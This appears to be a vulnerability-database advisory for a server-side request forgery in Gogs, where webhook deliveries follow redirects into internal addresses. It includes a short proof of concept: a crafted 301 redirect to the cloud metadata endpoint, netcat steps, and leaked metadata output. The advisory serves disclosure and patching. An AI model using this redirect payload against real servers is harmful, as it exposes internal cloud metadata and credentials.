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🛡️ CVE-2026-47267 — gogs

🟠 CVSS 8.3 — High ✅ No Known Exploit CWE-918 NVD
8.3
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Gogs has SSRF in webhook deliveries

Summary

The fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs.

This was already communicated in the initial report but it looks like there was a bit of a miscommunication.

Details

By creating a webook pointing to any URL that will return the following:

```

HTTP/1.1 301 Moved Permanently

Location: http://169.254.169.254/metadata/v1.json

Content-Length: 0

Connection: close

```

It is possible to access 169.254.169.254

PoC

1. Run netcat on any server

2. Use this server as the webhook URL

3. Once you get the request from the webhook (for example by testing it), copy the response above

Results from running this on try.gogs:

```

{"droplet_id":456901166,"hostname":"gogs-do-nyc3-01","vendor_data":"Content-Type: multipart/mixed; boundary=\"===============8645434374073493512==\"\nMIME-Version: 1.0\n\n--===============8645434374073493512==\nMIME-Version: 1.0\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config\"\n\n#cloud-config\n\n# Enable root and password auth\ndisable_roo...{"dhcp_enabled":false,"vpc_peering_enabled":false},"dotty_status":"running","ssh_info":{"port":22}}

```

Impact

Server Side Request Forgery

Fix

The "simplest way" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity low, availability low.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: Low — limited, and the attacker does not choose what is affected.

Weakness class

CVE-2026-47267 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.

Affected software

CVE-2026-47267 is recorded against 2 packages.

  • gogs.io/gogs
  • unknown

Timeline and source

Published on 25 June 2026 and last revised on 21 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Advisory)
github.com (Web)
github.com (Web)

Other advisories for this package

gogs.io/gogs has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-918: Server-Side Request Forgery (SSRF)) in other software:

Details

Severity HIGH
CVSS Score 8.3
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
CWE CWE-918
Public Exploit ✅ No
Source NVD
Published 2026-06-25
Updated 2026-08-20
Modified 2026-07-21
Fix URL N/A

Affected Packages

Software From version Fixed in
gogs.io/gogs — —
unknown — —

Similar Threats

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